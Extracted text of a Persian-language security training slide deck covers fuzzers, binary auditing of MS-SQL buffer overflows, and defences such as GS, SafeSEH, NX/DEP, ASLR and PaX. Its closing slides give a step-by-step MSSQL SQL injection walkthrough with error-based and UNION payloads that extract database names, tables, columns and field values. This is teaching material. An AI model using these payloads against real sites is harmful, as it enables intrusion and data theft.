  28. 28. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫برخی از ‪ Fuzzer‬های موجود‬ ‫‪‬‬ ‫‪ :PROTOS‬بررسی موثر پروتکل هایی همچون ‪SNMP ,SIP‬و ...‬ ‫‪‬‬ ‫‪ :CodeNomicon‬شرکتی تجاری ، اراده دهنده ‪ Fuzzer‬برای بیش از 08 پروتکل‬ ‫‪‬‬ ‫مختلف ، وابسته به تیم تحقیقاتی بنیانگذار ‪PROTOS‬‬ ‫‪ SMUDGE :General Fuzzing Framework‬برای پروتکل های تحت شبکه‬ ‫‪‬‬ ‫‪ : SPIKE‬یکی از شناخته شده ترین ‪ Fuzzer‬های ‪ General‬برای پروتکل های تحت‬ ‫‪‬‬ ‫شبکه‬ ‫‪ : Peach‬یک ‪ framework‬مبتنی بر ‪ Python‬با پشتیبانی از پروتکل های متعدد‬ ‫‪‬‬ ‫‪ : MangleMe‬یک ‪ fuzzer‬برای بررسی ‪ Browser‬ها‬ ‫‪‬‬ ‫‪ : Mangle‬یک فازر برای بررسی ‪File-format‬‬ ‫‪‬‬ ‫‪IRCfuzz :IRC Client Fuzzer‬‬ ‫‪‬‬ ‫‪COMBust :COM Object fuzzer‬‬ ‫‪‬‬ ‫لیستی از برخی دیگر از ‪ Fuzzer‬های شناخته شده‬ ‫‪‬‬ ‫‪http//:www.fuzzing.org/fuzzing-software ‬‬ ‫82‬
  29. 29. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫‪DEMO‬‬ ‫92‬
  30. 30. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬ ‫در صورت در دسترس نبودن کد نرم افزار ، این روش بسیار کارآمد ، و درعین حال مشکل‬ ‫‪‬‬ ‫میباشد‬ ‫بسیاری از مشکلت امنیتی که در نرم افزارهای کد باز رفع شده اند هنوز در نرم افزارهای‬ ‫‪‬‬ ‫انحصاری)‪ (closed-source‬دیده میشوند‬ ‫این روش هنوز یک تکنیک نوپا و ناقص بشمار می آید‬ ‫‪‬‬ ‫همانند بررسی کد ، در این روش نیز روند و منطق نرم افزار بررسی میگردد ، اما به روش‬ ‫‪‬‬ ‫مهندسی معکوس!‬ ‫نیازمند درک و تجربه بال در بررسی زبان ماشین‬ ‫‪‬‬ ‫اگرچه تکنیک ‪ Fuzzing‬در بررسی نرم افزارهای ‪ closed-source‬بسیار مفید میباشد اما‬ ‫‪‬‬ ‫بررسی تمام قابلیت ها و توابع نرم افزار توسط ‪ Fuzzing‬بسیار مشکل و گاهآ نا ممکن است‬ ‫)‪(Low Code Coverage‬‬ ‫‪ Binary Audit‬محدوده بیشتری )در واقع کل( از نرم افزار را پوشش می دهد.‬ ‫‪‬‬ ‫همانند بررسی کد ، توابع آسیب پذیر در فایل باینری نیز دارای مشخصه خاص خود هستند‬ ‫‪‬‬ ‫03‬
  31. 31. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬ ‫روش ها و دیدگاه های مختلف انجام ‪Static Binary Analyze‬‬ ‫‪‬‬ ‫‪ ‬جستجوی ‪ Pattern‬های مربوط به فراخوانی توابع آسیب پذیر مانند ‪ strcpy,strcat,sprintf‬و سایر موارد‬ ‫مشابه‬ ‫در صورتی که کیفیت کد نرم افزار پایین باشد و یا هدف یک بررسی سریع و سطحی باشد از این روش استفاده میشود‬ ‫‪‬‬ ‫‪ ‬آنالیز و بررسی حلقه ها)‪ (loop‬و توابع ‪ read/write‬مشکوک‬ ‫‪:A variable indexed write into a character array‬‬ ‫‪:A variable indexed write to a local stack buffer‬‬ ‫‪:A write to a pointer, followed by an increment of that pointer‬‬ ‫‪:A sign extended copy from an attacker-controlled buffer‬‬ ‫‪ ‬بررسی منطق نرم افزار . برخی از ضعف های امنیتی هیچ ارتباطی با مشکلت ‪Memory corruption‬‬ ‫نداشته و ناشی از منطق اشتباه نرم افزار در برخورد با داده ها هستند.‬ ‫مثال : مشکل امنیتی ‪IIS Double Decode‬‬ ‫‪‬‬ ‫کشف این دسته از مشکلت توسط ‪ Binary Audit‬بسیار مشکل میباشد‬ ‫‪‬‬ ‫‪ ‬بررسی تفاوت های بین نسخه های مختلف یک برنامه آسیب پذیر )‪(Diffing‬‬ ‫ممکن است جزئیات مشکل امنیتی دقیقآ منتشر نشود ، اما آگاهی از آنها لزم باشد‬ ‫‪‬‬ ‫ممکن است تولید کننده نرم افزار بدون اعلم عمومی ، اقدام به رفع یک مشکل امنیتی در نرم افزار کند‬ ‫‪‬‬ ‫استفاده از ابزارهایی که تفاوت های میان دو نسخه متفاوت از یک فایل را نمایان میکنند )‪(BinDiff‬‬ ‫‪‬‬ ‫-‪http//:www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode‬‬ ‫‪‬‬ ‫‪http//:www.zynamics.com/files/ms08001.swf‬‬ ‫‪‬‬ ‫‪ ‬در همه این موارد ، استفاده از ابزارهای پیشرفته برای کمک به بررسی ، اجتناب ناپذیر است‬ ‫بررسی گراف های رسم شده بر اساس بخش های مختلف نرم افزار ، کار را بسیار آسان تر میکند‬ ‫‪‬‬ ‫قابلیت های رسم گراف در نرم افزار ‪ IDA Pro‬و نرم افزار جانبی ‪BinNavy‬‬ ‫‪‬‬ ‫13‬
  32. 32. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬ ‫23‬
  33. 33. Binary Analyze -‫شناسایی مشکلت امنیتی نرم افزار‬ ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مثال : مشکل سرریز بافر در‬  ()sprintf mov edx, ]ebp+var_24C8[ ;‫متغیر با سایز4201 بایت که از پکت ارسالی خوانده میشود‬ push edx push offset aSoftwareMic_17 ; ”SOFTWAREMicrosoftMicrosoft SQL Server”... push offset aSSMssqlserverC ; ”%s%sMSSQLServerCurrentVersion” lea eax, ]ebp+var_84[ ; ‫! بافر پشته با سایز821 بایت‬ push eax call ds:sprintf add esp, 10h ()strcpy ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مشکل امنیتی دیگری در‬  mov eax, ]ebp+arg_4[ add eax, ]ebp+var_218[ push eax lea ecx, ]ebp+var_214[ ; ‫بافر پشته با حجم215 بایت که محتوای آن از پکت‬ ‫دریافت شده و بدون کنترل سایز کپی میشود‬ push ecx call strcpy add esp, 8 33
  34. 34. ‫شناسایی مشکلت امنیتی نرم افزار‬ ‫سه روش کلی یاد شده هر یک به تنهایی میتوانند نتیجه های خوبی را در حاصل شوند‬ ‫‪‬‬ ‫ترکیب روش های فوق ، بازدهی آنالیز را بسیار افزایش میدهد‬ ‫‪‬‬ ‫یک دیدگاه در این مورد ، ترکیب ‪ Fuzzing‬با آنالیز کد میباشد‬ ‫‪‬‬ ‫‪ ‬همزمان با ‪ ، Fuzzing‬سورس کد نیز بررسی میگردد تا میزان ‪ cove-coverage‬در زمان‬ ‫‪ Fuzzing‬مشخص گردد .‬ ‫‪ ‬با این روش میتوان مشخص کرد که کدام یک از بخش های نرم افزار یا کد توسط ‪ Fuzzer‬پوشش‬ ‫داده شده ، و کدام بخش ها عمل بررسی نشده‬ ‫‪http//:en.wikipedia.org/wiki/Code_coverage ‬‬ ‫دیدگاه دیگر ، ترکیب ‪ Fuzzing‬با آنالیز ‪ Binary‬در زمان اجرای نرم افزار میباشد.‬ ‫‪‬‬ ‫‪ ‬استفاده از ‪ Debugger/Disassembler‬ها برای راهنمایی ‪ Fuzzer‬ها‬ ‫‪ ‬افزایش ‪ Code Coverage‬در ‪Fuzzing‬‬ ‫‪ ‬مقاله جالب “‪http//:uninformed.org/v?=all&a=t&27=pdf “Effective Bug Discovery‬‬ ‫‪ “E volutionaryF uzzingSystem“ ‬یک ‪ framework‬با دیدی جدید نسبت به ‪Fuzzing‬‬ ‫‪ ‬فراگرفتن پروتکل های جدید بصورت پویا و کمک گرفتن از آنالیز نرم افزار در زمان اجرا‬ ‫‪http://www.vdalabs.com/tools/efs_gpf.html ‬‬ ‫43‬
  35. 35. ‫مقابله با حملت سرریز بافر‬ ‫اولین و بهترین روش مقابله با این دسته از مشکلت امنیتی ، رعایت نکات امنیتی در زمان‬ ‫‪‬‬ ‫تولید نرم افزار میباشد‬ ‫استفاده از متدلوژی ‪ SDLC‬در تولید نرم افزار‬ ‫‪‬‬ ‫مقابله به روش پیشگیری ، تنها در صورتی ممکن است که سورس کد نرم افزار در دسترس‬ ‫‪‬‬ ‫باشد ،‬ ‫اما مشکلتی نیز وجود دارد !‬ ‫‪‬‬ ‫نرم افزارهای قدیمی‬ ‫‪‬‬ ‫عدم دسترسی به ‪Developer‬‬ ‫‪‬‬ ‫عدم آگاهی ‪ Developer‬از نکات امنیتی‬ ‫‪‬‬ ‫اشتباهات برنامه نویسی‬ ‫‪‬‬ ‫نرم افزار های ‪! Closed-Source‬‬ ‫‪‬‬ ‫راهکارهایی برای مقابله با این قبیل مشکلت وجود دارند ، اما هیچ یک مشکل را بطور کامل‬ ‫‪‬‬ ‫حل نکرده و تنها شرایط برای استفاده از مشکل امنیتی را مشکل تر می کنند .‬ ‫بسته به شرایط و اختیارات و امکانات در دسترس ، از یک یا چند راهکار استفاده میشود.‬ ‫‪‬‬ ‫53‬
  36. 36. ‫مقابله با حملت سرریز بافر‬ ‫دیدگاه های مختلفی برای مقابله با حملت سرریز بافر وجود دارد و‬ ‫‪‬‬ ‫بر همین اساس روش های مختلف نیز:‬ ‫‪ ‬تشخیص مشکلت امنیتی در خلل روند تولید ، و گوشزد کردن آنها‬ ‫‪ ‬سعی در پیشگیری از بروز مشکلت سرریز بافر و اضافه کردن تمهیداتی‬ ‫به برنامه ، در زمان کامپایل کردن‬ ‫‪ ‬پیاده سازی تمهیدات امنیتی در سطح سیستم عامل برای تشخیص و یا مقابله‬ ‫با حملت سرریز بافر‬ ‫‪ ‬استفاده از بسته های نرم افزاری الحاقی به سیستم عامل ، برای جبران‬ ‫کمبود های امنیتی سیستم عامل‬ ‫‪ ‬استفاده ازبسته های نرم افزاری جانبی ، برای جبران و یا تکمیل کمبود‬ ‫های امنیتی سیستم عامل‬ ‫‪ ‬ترکیب امکانات امنیتی سیستم عامل با امکانات اراده شده توسط پردازنده‬ ‫63‬
  37. 37. ‫مقابله با حملت سرریز بافر‬ ‫کامپایلرهای امن‬ ‫‪‬‬ ‫‪Visual Studio >2003 ‬‬ ‫محافظت در برابر حملت سرریز بافر در ‪Stack‬‬ ‫‪‬‬ ‫اساس بخش زیادی از امنیت در مقابل حملت ‪ stack overflow‬در ویندوز سرور 3002 1‪ SP‬و 2‪ XP SP‬و‬ ‫‪‬‬ ‫نسخه های جدید تر‬ ‫اضافه کردن بخش هایی به کد در زمان کامپایل )‪ (Buffer Security Checks‬برای کنترل صحت ‪return‬‬ ‫‪‬‬ ‫‪ address‬ها و سایر بخش های مهم ‪Stack‬‬ ‫آشنایی با مفهوم ‪Stack Cookies‬‬ ‫‪‬‬ ‫اضافه شده به ‪ Visual Studio‬از نسخه 3002 و فعال بصورت پیشفرض‬ ‫‪‬‬ ‫/‪ GS‬مشکلت امنیتی را حل نمیکند بلکه استفاده از آنها را مشکل میکند‬ ‫‪‬‬ ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی وجود دارد‬ ‫‪‬‬ ‫بازنویسی اشاره گر ‪ SEH‬برای اجرای کد در حافظه‬ ‫‪‬‬ ‫‪http//:www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf‬‬ ‫‪‬‬ ‫استفاده از /‪ SafeSEH‬برای محافظت از اشاره گر ‪ SEH‬و مقابله با مشکل /‪GS‬‬ ‫‪‬‬ ‫کلیه بخش های نرم افزار میبایست توسط این مکانیزم کامپایل شده باشند. وجود برنامه ها / توابع کتابخانه ای محافظت‬ ‫‪‬‬ ‫نشده ، کل سیستم را تهدید میکند‬ ‫‪ ‬ماژول های اضافه شده به ‪( GCC (…, StackGuard , ProPolice‬‬ ‫آستفاده از ایده ‪Stack Canaries‬‬ ‫‪‬‬ ‫قابل استفاده در 1.3> ‪ GCC‬با سویچ -‪fstack-protector‬‬ ‫‪‬‬ ‫فعال بصورت پیشفرض در 1.4> ‪GCC‬‬ ‫‪‬‬ ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی :‬ ‫‪‬‬ ‫‪http//:www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf‬‬ ‫‪‬‬ ‫73‬
  38. 38. ‫مقابله با حملت سرریز بافر‬ ‫امکانات ارائه شده توسط پردازنده‬ ‫‪‬‬ ‫‪(NX Bit (No eXecute‬‬ ‫‪‬‬ ‫تقسیم نواحی مختلف حافظه برای ذخیره داده ها و یا دستورات پردازنده‬ ‫‪‬‬ ‫پیدا سازی شده در پردازنده های ‪ Intel‬از نسل ‪ Pentium 4 ،AMD‬و ‪ . SPARC‬پردازنده های 46 بیتی پیش از انواع 23 بیتی به این‬ ‫‪‬‬ ‫قابلیت مجهز شدند‬ ‫پردازنده مجهز به ‪ NX/DX‬به تنهایی قادر به جلوگیری از حملت نیست بلکه این قابلیت میبایست توسط سیستم عامل به کار گرفته شود‬ ‫‪‬‬ ‫تقریبآ تمامی سیستم های عامل کنونی ) نسخ جاری و جدید ( هر یک به نحوی از این قابلیت استفاده میکنند.‬ ‫‪‬‬ ‫‪ NX bit‬در واقع اشاره به آخرین بیت معنی دار از ‪ Page table entry‬در حافظه دارد . 0 بودن این بیت به معنی ‪ executable‬بودن‬ ‫‪‬‬ ‫محتوای این بخش )‪ (page‬و 1 بودن به معانی این است که این بخش تنها حاوی داده ها است.‬ ‫در سیستم های ‪ 32bit‬این بیت در واقع وجود ندارد و این راهکار بصورت ‪ Software Emulated‬اجرا میگردد‬ ‫‪‬‬ ‫‪ NX‬امکان مقابله با حملت ‪ Stack Overflow‬و ‪ Heap Overflow‬را میسر میکند‬ ‫‪‬‬ ‫تمهیدات پیاده سازی شده در سطح سیستم عامل‬ ‫‪‬‬ ‫بسیاری از قابلیت های امنیتی پیاده سازی شده در سطح سیستم عامل مبتنی بر ‪ NX‬میباشد و هر سیستم عامل نسخه و روشی‬ ‫‪‬‬ ‫مربوط به خود را معماری کرده و بکار می برد .‬ ‫در صورت عدم وجود ‪ CPU‬مجهز به ‪ NX‬این قابلیت بصورت کامل مجازی پیاده سازی میگردد‬ ‫‪‬‬ ‫)‪ (A ddressS paceL ayoutRandomization‬یکی دیگر از تکنیک های مورد استفاده برای مقابله با حملت سرریز‬ ‫‪‬‬ ‫بافر میباشد‬ ‫مفهوم ‪ ASLR‬در سیستم عامل های مختلف با نام های مختلفی پیاده سازی شده اما وجوه مشترک بسیاری میان آنها وجود دارد‬ ‫‪‬‬ ‫‪ ASLR‬بصورت تصادفی اقدام به موقعیت دهی به بخش های مختلف یک پروسه در حافظه مینماید که عمومآ شامل ‪Base‬‬ ‫‪‬‬ ‫‪ ، Address‬موقیت قرار گرفتن توابع کتابخانه ایی ، ‪ Stack‬و ‪ Head‬در محدوده آدرس آن پروسه میگردد.‬ ‫83‬
  39. 39. ‫مقابله با حملت سرریز بافر‬ ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬ ‫‪‬‬ ‫‪ : FreeBSD ‬پشتیبانی از پردازنده های ‪ NX‬از نسخه 3.5‬ ‫‪ : Linux ‬پشتیبانی از پردازنده های ‪ 32/64bit‬دارای ‪ NX‬از کرنل نسخه 8.6.2‬ ‫کرنل ‪ 32bit‬ارائه شده توسط برخی نگارش ها مانند 6‪OpenSUSE Ubuntu , Fedora C‬‬ ‫‪‬‬ ‫بصورت پیشفرض برای استفاده از ‪ NX‬سخت افزاری تنظیم نشده اند‬ ‫‪ : RedHat ‬پشتیبانی از ‪ NX‬تمامی ‪ CPU‬هاتوسط راهکار اختصاصی . ‪Exec Shield‬‬ ‫‪ Emulated-NX‬تنها بر روی پردازنده های 23‪ IA‬پشتیبانی میگردد. ارائه شده در ‪ FC‬و‬ ‫‪RHEL‬‬ ‫‪ : PAX ‬این تکنولوژی برای پیاده سازی ‪ NX‬در سیستم های فاقد امکان سخت افزاری طراحی شده‬ ‫و کلیه پردازنده های 68‪ x‬را پشتیبانی میکند.‬ ‫کرنل لینوکس هنوز بطور پیشفرض این تکنولوژی را بکار نبرده است‬ ‫‪‬‬ ‫پشتیبانی از ‪,PowerPC ,PA-RISC ,(and 64 bit 32) MIPS ,IA-64 ,AMD64 ,Alpha‬‬ ‫‪‬‬ ‫‪SPARC‬‬ ‫استفاده شده بطور پیشفرض در ‪Adamantix , Hardened Gentoo , Hardened Linux‬‬ ‫‪‬‬ ‫‪ : Mac OSX ‬پشتیبانی از ‪ NX‬پردازنده های اینتل از نسخه 4.01 و کلیه پردازنده های تحت‬ ‫پوشش ‪OSX‬‬ ‫93‬
  40. 40. ‫مقابله با حملت سرریز بافر‬ ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬ ‫‪‬‬ ‫‪ : Windows‬پشتیبانی از ‪ NX‬برای اولین بار در معماری 68‪ x‬از نسخه 2‪ XP SP‬و 3002 1‪Server SP‬‬ ‫‪‬‬ ‫ارائه شده تحت نام ‪( DEP (Data Execution Prevention‬‬ ‫‪‬‬ ‫بطور پیشفرض تنها پروسه ها و سرویس های اصلی سیستم عامل محافظت میشوند‬ ‫‪‬‬ ‫در صورت پشتیبانی پردازنده از ‪ NX ،DEP‬بطور خودکار فعال میگردد‬ ‫‪‬‬ ‫در نسخه های اولیه ‪ ، DEP‬از ‪ ASLR‬استفاده نشده ! امکان دور زدن ‪ DEP‬و حتی غیر فعال کردن این مکانیزم توسط حملت -‪return‬‬ ‫‪‬‬ ‫‪ to-libc‬به همین دلیل میسر میشود.‬ ‫مثالی عینی از حمله به ‪ DEP‬حتی با وجود بکار بستن کلیه تمهیدات امنیتی ‪ NX‬و سیستم عامل!‬ ‫‪‬‬ ‫‪http//:metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb‬‬ ‫‪‬‬ ‫مقاله ای بسیار جالب از نحوه دور زدن مکانیزم ‪http//:uninformed.org/v?=a&2=4 NX+DEP‬‬ ‫‪‬‬ ‫‪ (SafeSEH (Software DEP‬تکنولوژی دیگری میباشد که به ‪ NX‬ارتباطی نداشته و برای حفاظت علیه حملت برای سو استفاده از‬ ‫‪‬‬ ‫‪ SEH‬پیاده سازی شده است‬ ‫استفاده از این تکنولوژی منوط به استفاده نرم افزار از آن در زمان تولید )کامپایل( است‬ ‫‪‬‬ ‫بکمک ‪ SafeSEH‬سیستم عامل تنها اجازه استفاده از ‪ Exception Handler‬هایی را به نرم افزار میدهد که قبل تعریف و ‪ register‬شده اند.‬ ‫‪‬‬ ‫ویندوز ‪ Vista‬مبتنی بر نسخه جدید ‪ DEP‬میباشد که از تکنولوژی ‪ ASLR‬بهره می برد.‬ ‫‪‬‬ ‫در صورتی که پردازده از ‪ NX‬پشتیبانی نکند ، ویندوز پشتیبانی از این امکان بصورت ‪ Software-Emulated‬را ندارد‬ ‫‪‬‬ ‫‪ : NetBSD‬بهره گیری از ‪ Non Executable Heap/Stack‬از نسخه 0.2‬ ‫‪‬‬ ‫پشتیبانی از ‪amd64, sparc64, sparc(sun4m, sun4d) , powerpc(ibm4xx), alpha, sh5, hppa‬‬ ‫‪‬‬ ‫عدم پشتیبانی از ‪ Emulated-NX‬بطور پیشفرض‬ ‫‪‬‬ ‫‪ : OpenBSD‬پشتیبانی از ‪ NX‬تحت تکنولوژی اختصاصی با نام ‪ ( W^X (WAX‬از نسخه 3.3‬ ‫‪‬‬ ‫پشتیبانی از ‪Alpha, AMD64, HPPA, and SPARC‬‬ ‫‪‬‬ ‫پشتیباتی از ‪ Emulated-NX‬در برخی از پردازنده ها‬ ‫‪‬‬ ‫‪ : Solaris‬بهره گیری از ‪ Non Executable Stack‬از نسخه 6.2‬ ‫‪‬‬ ‫04‬
  41. 41. ‫مقابله با حملت سرریز بافر‬ ‫14‬
  42. 42. ‫مقابله با حملت سرریز بافر‬ ‫استفاده از نرم افزارها و الحاقیه های جانبی‬ ‫‪‬‬ ‫‪ ‬بهبود امنیت سیستم عامل‬ ‫اضافه کردن قابلیت های امنیتی مورد نیاز به سیستم عامل ، در صورت عدم وجود آنها بصورت پیشفرض‬ ‫‪‬‬ ‫‪… , ASLR , Non Executable Stack/Heap , Security Policies‬‬ ‫‪‬‬ ‫‪GRSecurity‬‬ ‫‪‬‬ ‫‪http://www.grsecurity.net/features.php ‬‬ ‫‪ ‬اضافه کردن ‪ PAX‬به کرنل لینوکس‬ ‫‪ ‬مقابله با ‪ Stack/Heap Overflow‬با استفاده از تکنیک های مختلف‬ ‫‪ ‬بهبود امنیت کامپایلر سیستم عامل‬ ‫‪ } ... ‬و بسیاری امکانات دیگر!{‬ ‫‪ ‬استفاده از نرم افزارهای جانبی برای مقابله با حملت‬ ‫رایج در سیستم عامل های خانواده ویندوز‬ ‫‪‬‬ ‫جبران کمبود های امنیتی سیستم عامل مانند ‪ NX‬و ‪ASLR‬‬ ‫‪‬‬ ‫تشخیص حملت سرریز بافر از طریق مانیتور کردن حافظه و جلوگیری از آنها‬ ‫‪‬‬ ‫استفاده در کنار قابلیت های امنیتی سیستم عامل ، برای پیچیده تر کردن مکانیزم حملت‬ ‫‪‬‬ ‫استفاده در مواردی که ناچار به استفاده از سیستم عامل های نا امن و یا نسخه های قدیمی هستیم‬ ‫‪‬‬ ‫استفاده بعنوان ‪(HIPS (Host Intrusion Prevention System‬‬ ‫‪‬‬ ‫ارائه غالبآ بصورت بسته های نرم افزاری تجاری‬ ‫‪‬‬ ‫‪http://www.eeye.com/html/products/blink/index.html : Eeye Blink‬‬ ‫‪‬‬ ‫‪/http://www.wehnus.com : WhehnTrust‬‬ ‫‪‬‬ ‫‪http://www.ngsec.com : StackDefender‬‬ ‫‪‬‬ ‫... }‪{!Google for more‬‬ ‫‪‬‬ ‫24‬
  43. 43. ‫حمله به نرم افزارهای تحت وب‬ ‫روز به روز بر محبوبیت و کاربرد نرم افزارهای تحت وب اضافه میگردد‬ ‫‪‬‬ ‫نقطه شروع بسیاری از حملت علیه سیستم ها و شبکه ها نرم افزارهای تحت‬ ‫‪‬‬ ‫وب میباشد‬ ‫در بسیاری از موارد ، نرم افزارهای تحت وب تنها نقطه دسترسی یک نفوذگر‬ ‫‪‬‬ ‫به سیستم های هدف قرار گرفته میباشند‬ ‫در ادامه برخی از حملت شایع علیه نرم افزارهای تحت وب و همچنین‬ ‫‪‬‬ ‫راهکارهایی برای پیشگیری و مقابله با این حملت مورد بررسی قرار خواهد‬ ‫گرفت‬ ‫34‬
  44. 44. ‫حمله به نرم افزارهای تحت وب‬ ‫ آشنایی با انواع حملت مبتنی بر نرم افزارهای تحت وب‬ Cross-Site Scripting  SQL Injection  Command Injection  Dynamic code execution  Cookie/Session Hijacking  Parameter/form Tampering  Buffer Overflows  Directory Traversal  Forceful Browsing  Information Leakages  Harvesting Attacks  44
  45. 45. ‫حمله به نرم افزارهای تحت وب‬ ‫‪ ‬آشنایی با آناتومی حمله به سیستم های تحت وب‬ ‫پویش برای شناسایی نرم افزار تحت وب‬ ‫‪‬‬ ‫‪Web Spidering and User directed spidering‬‬ ‫‪‬‬ ‫‪Discovering Hidden contents‬‬ ‫‪‬‬ ‫‪Checking search engines and archive sites‬‬ ‫‪‬‬ ‫‪Brute-forcing directories and files‬‬ ‫‪‬‬ ‫‪Identify entry points for user inputs‬‬ ‫‪‬‬ ‫جمع آوری اطلعات و شناسایی هدف‬ ‫‪‬‬ ‫شناسایی وب سرور‬ ‫‪‬‬ ‫شناسایی ‪Application Server‬‬ ‫‪‬‬ ‫تست و بررسی وجود آسیب پذیری ها‬ ‫‪‬‬ ‫طراحی روش حمله و نحوه پیاده سازی آن‬ ‫‪‬‬ ‫پیاده سازی حمله‬ ‫‪‬‬ ‫54‬
  46. 46. ‫حمله به نرم افزارهای تحت وب‬ ‫‪ ‬بررسی حملت ‪SQL Injection‬‬ ‫‪ ‬آشنایی با مکانیزم حملت ‪SQL Injection‬‬ ‫‪ ‬نحوه جستجو و شناسایی ‪SQL Injection‬‬ ‫‪Blind SQL Injection ‬‬ ‫‪Normal SQL Injection ‬‬ ‫‪ ‬عبور از فرم های اعتبار سنجی‬ ‫‪ ‬تزریق دستورات ( )‪SELECT,UNION‬‬ ‫‪SELECT,INSERT,UPDATE,DELETE‬‬ ‫‪ ‬استخراج اطلعات مفید اولیه از بانک اطلعاتی‬ ‫‪ ‬مشخص کردن نسخه بانک اطلعاتی‬ ‫‪ ‬مشخص کردن نام کاربری مورد استفاده بانک اطلعاتی‬ ‫64‬
  47. 47. ‫حمله به نرم افزارهای تحت وب‬ ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬  : Integer ‫بررسی پارامتر از نوع‬  –http://[site]/page.asp?id=1 having 1=1  Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate  .function and there is no GROUP BY clause : String ‫بررسی پارامتر از نوع‬  –http://[site]/page.asp?id=x' having 1=1  Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate  .function and there is no GROUP BY clause ‫استخراج نام کاربر بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(USER  .Syntax error converting the nvarchar value '[DB USER]' to a column of data type int  ‫استخراج نام بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME  .Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int  ‫استخراج نسخه بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION  .Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int  ‫استخراج نام سرور‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME  .Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int  47
  48. 48. ‫حمله به نرم افزارهای تحت وب‬ (2) ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬   ‫استخراج نام اولین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))–  Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.  ‫استخراج نام دومین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE- NAME-1'))–  Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.  ‫استخراج نام سومین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE- NAME-2'))-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.  ‫استخراج نام اولین‬Column ‫در‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))–  Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.  ‫استخراج نام دومین‬Column ‫در‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1' and column_name>'COLUMN-NAME-1'))–  Syntax error converting the nvarchar value '[COLUMN NAME 2]' to a column of data type int.  ‫استخراج اولین‬Field ‫از اولین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1))–  Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.  ‫استخراج دومین‬Field ‫از اولین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-2 from TABLE-NAME-1))–  Syntax error converting the nvarchar value '[FIELD 2 VALUE]' to a column of data type int.  ‫استخراج اولین‬Field ‫از دومین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN- NAME-1 NOT in ('FIELD-1-VALUE') order by COLUMN-NAME-1 desc))–  Syntax error converting the nvarchar value '[FIELD 1 VALUE OF 2ND ROW]' to a column of data type int. 48
  49. 49. ‫حمله به نرم افزارهای تحت وب‬ Union ‫استخراج اطلعات از بانک اطلعاتی با استفاده از‬   ‫مشخص کردن تعداد پارامترها‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–  All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists  http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–  NO Error  ‫استخراج نام کاربر بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—  ‫استخراج نام بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—  ‫استخراج نسخه بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—  ‫استخراج نام‬Table ‫های بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—  ‫استخراج نام‬Column ‫های‬Table ‫ها‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—  ‫استخراج اولین‬Field  http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—  ‫استخراج دومین‬Field  http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1-- 49
